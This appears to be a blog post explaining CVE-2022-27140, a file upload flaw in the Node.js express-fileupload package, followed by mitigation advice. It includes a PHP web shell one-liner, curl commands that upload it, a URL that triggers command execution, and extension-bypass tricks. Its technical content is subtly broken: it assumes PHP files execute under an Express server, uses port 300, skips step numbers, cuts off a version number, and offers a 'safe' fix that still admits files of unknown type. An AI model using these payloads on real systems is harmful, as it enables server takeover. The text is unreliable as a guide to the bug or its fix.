The world of web development is fast-moving, and sometimes speed means mistakes. One of those costly errors happened in the popular express-fileupload module, a widely-used middleware for handling file uploads in Node.js applications. With over 1 million weekly downloads, anything wrong here is a big deal.
In this deep dive, we’ll break down CVE-2022-27140—an easy-to-miss, but extremely dangerous bug. We’ll show you how it works, see an exploit in action, and talk about how to fix it.
What is CVE-2022-27140
CVE-2022-27140 is an *arbitrary file upload vulnerability* found in express-fileupload versions up to v1.3.1. The bug allows attackers to upload malicious files (like PHP scripts), even when those file types should be blocked.
This means a hacker can simply craft a poisoned PHP file, upload it to a vulnerable web server, and gain the ability to execute their own code on your hosting machine.
Impact: Complete server compromise
- Affected Package: express-fileupload
Version: <= 1.3.1
- CVE Entry: CVE-2022-27140 on National Vulnerability Database
Before we jump to the bug, let’s look at a typical use
const express = require('express');
const fileUpload = require('express-fileupload');
const app = express();
app.use(fileUpload());
app.post('/upload', (req, res) => {
let file = req.files.file;
file.mv('./uploads/' + file.name, err => {
if(err) return res.status(500).send(err);
res.send('File uploaded!');
});
});
app.listen(300);
This tiny snippet gives your users a /upload endpoint to drop files onto your server. Millions of apps are built like this.
Where Did It Go Wrong?
Express-fileupload (before v1.3.1) relies on developers to filter files, trusting only what’s provided by file extensions. But as many hackers know, file extensions are easy to fake.
Suppose a user uploads a file named shell.php or even a sneaky shell.php.jpg. The library never actually checks the file’s content or enforces any rules out of the box. Without proper checks, an attacker can upload any file they want, even executable scripts.
File saved as-is: Whatever file is uploaded gets saved with the name the attacker chooses.
- PHP still widely supported: If your server runs PHP (on Apache, Nginx, etc.), and uploads are accessible in a public web directory, uploaded PHP files will be executed if accessed directly!
Exploiting CVE-2022-27140: Step by Step
Let’s see how this vulnerability can be exploited. All you need is the upload form.
1. Craft a Malicious PHP Shell
A popular example is the PentestMonkey PHP reverse shell. For this demo, we’ll use a tiny one-liner backdoor:
shell.php
<?php system($_GET['cmd']); ?>
This script will run any shell command given in the “cmd” parameter.
You can do this with curl or Burp Suite. Here’s curl
curl -F "file=@shell.php" http://vulnerable-site.com/upload
If the file upload saves to /uploads/, just visit
http://vulnerable-site.com/uploads/shell.php?cmd=whoami
If successful, the page will print out the result of the whoami command—showing you now have code execution.
4. Get a Full Reverse Shell
Now replace the payload with something stronger, or chain it into a reverse shell to get a full remote terminal.
Note: If .php is blocked by extension (but not by content), well-known bypasses use trailing dots or double extensions (e.g., shell.php.jpg or shell.php.) if the webserver is vulnerable.
Let’s look at (simplified) middleware logic in vulnerable versions
// express-fileupload/lib/index.js
const mv = (file, destination, cb) => {
// ... some code skipped
fs.writeFile(destination, file.data, cb);
};
There is no check here for file type, magic bytes, or dangerous extensions. Whatever the client sends gets written to disk, exactly as given.
Here’s a real-world PoC for CVE-2022-27140
1. Launch a local web server running the vulnerable express-fileupload (v1.3.1).
2. Use curl to upload a PHP shell
curl -F "file=@evil.php" http://localhost:300/upload
4. Trigger remote code execution
http://localhost:300/uploads/evil.php?cmd=whoami
Result: The server runs your command, meaning you can take over the box.
Mitigation & Fix
After v1.4., express-fileupload introduced stricter options. But the key lesson is: *You must always validate uploads on your own!* Don’t trust the package.
- Always check file types using library like file-type instead of just extensions.
Rename uploaded files to random values instead of trusting user input.
- Upgrade! See express-fileupload Changelog.
const fileType = require('file-type');
app.post('/upload', async (req, res) => {
let file = req.files.file;
const type = await fileType.fromBuffer(file.data);
if(type && type.mime !== 'image/png') {
return res.status(400).send('Only PNGs allowed!');
}
// Save with random name outside public dir
file.mv('../safe_uploads/' + Date.now() + '.png', err => {
if(err) return res.status(500).send(err);
res.send('File uploaded safely!');
});
});
References
- CVE-2022-27140 — NIST NVD database
- express-fileupload GitHub repo
- Exploit details at Snyk
- Remediation steps
Final Thoughts
Arbitrary file upload bugs, especially those that allow code execution, are among the most damaging security issues on the web. CVE-2022-27140 was a classic example, reminding us: “Never trust user input,” and “Security shouldn’t be left up to chance.”
If you’re using express-fileupload in your app, upgrade immediately and review your file handling logic carefully. One small oversight can lead to complete server compromise.
Timeline
Published on: 04/12/2022 17:15:00 UTC
Last modified on: 04/19/2022 18:00:00 UTC